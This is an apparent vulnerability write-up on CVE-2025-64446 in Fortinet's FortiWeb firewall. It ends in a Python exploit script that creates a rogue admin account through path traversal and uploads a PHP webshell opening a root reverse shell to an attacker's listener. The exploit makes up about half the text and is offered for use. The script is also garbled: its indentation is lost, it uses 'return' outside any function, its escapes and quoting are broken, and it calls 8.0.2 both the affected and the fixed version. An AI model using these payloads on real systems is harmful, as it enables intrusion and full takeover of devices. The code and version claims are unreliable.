Overview
The FortiWeb 8.0.2 vulnerability, identified as CVE-2025-64446, is a critical remote code execution (RCE) flaw that affects Fortinet’s web application firewall (WAF). This vulnerability allows attackers to execute arbitrary code on the affected systems, potentially leading to unauthorized access to sensitive information and control over the device itself.
Technical Details
CVE-2025-64446 exploits a weakness in the input validation mechanisms within FortiWeb 8.0.2. Specifically, it targets the way the application handles specially crafted requests. When an attacker sends a malformed request, the system fails to properly validate the input, allowing the execution of arbitrary commands. This vulnerability is particularly dangerous as it can be triggered remotely, requiring minimal interaction from the attacker.
The flaw arises from improper sanitization of user inputs, which can be leveraged to inject malicious payloads. For instance, an attacker could craft a request that includes shell commands, enabling them to execute code at the system level. If successfully exploited, this could lead to full system compromise, data exfiltration, or service disruption.
Impact
The potential consequences of CVE-2025-64446 are severe. Organizations relying on FortiWeb for application security may find their web applications vulnerable to complete takeover, which could result in data breaches, loss of customer trust, and significant financial repercussions. Additionally, compromised systems could be used as launchpads for further attacks within the network, increasing the overall risk landscape.
Mitigation
To protect against CVE-2025-64446, it is crucial for organizations to apply the latest patches provided by Fortinet as soon as they become available. Regularly updating security software is a fundamental practice in maintaining a secure environment. Additionally, security professionals should implement input validation and sanitization measures across all applications to mitigate similar vulnerabilities.
Moreover, organizations should conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Implementing a robust monitoring system can also help detect unusual behavior indicative of exploitation attempts, allowing for swift incident response. By taking these steps, organizations can significantly reduce their risk exposure and enhance their overall security posture.
Proof of Concept (PoC)
# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
# Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2
# Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds)
# CVE: CVE-2025-64446
# CVSS: 9.8 (Critical)
# Category: WebApps
# Platform: Hardware/Appliance (Linux-based)
# CRITICAL: True
# Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE
# Impact: Full system compromise, root reverse shell
# Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later
# Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446
# Patch: https://support.fortinet.com
# Target: FortiWeb management interface (default port 8443)
import requests, sys, time, base64
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print("""
CVE-2025-64446 FortiWeb RCE Exploit
Author: Mohammed Idrees Banyamer | @banyamer_security
LAB / AUTHORIZED TESTING ONLY
""")
if len(sys.argv) != 4:
banner()
print("Usage : python3 fortiweb_rce.py <target> <lhost> <lport>")
print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
print("nSteps:")
print(" 1. Start listener → nc -lvnp 4444")
print(" 2. Run exploit → python3 fortiweb_rce.py <target> <your_ip> 4444")
print(" 3. Get root shell → enjoyn")
sys.exit(1)
banner()
target = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print(f"[*] Target : {target}")
print(f"[*] Callback : {LHOST}:{LPORT}n")
s = requests.Session()
s.verify = False
s.headers = {"Content-Type": "application/json"}
print("[1] Creating temporary admin user...")
payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"}
r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10)
if r.status_code != 200 or "success" not in r.text:
print("[-] Failed to create admin → Target is likely patched")
return
print("[2] Logging in with new admin...")
login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10)
if "success" not in login.text:
print("[-] Login failed")
return
shell = f'<?php system("bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"); ?>'
b64shell = base64.b64encode(shell.encode()).decode() + "AAA=="
print("[3] Uploading webshell via backup function...")
files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')}
s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15)
print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...")
s.get(f"{target}/pwned.dat", timeout=10)
time.sleep(8)
print("[5] Cleaning up temporary admin account...")
s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"})
print("n[+] Exploit completed – check your listener for root shell!")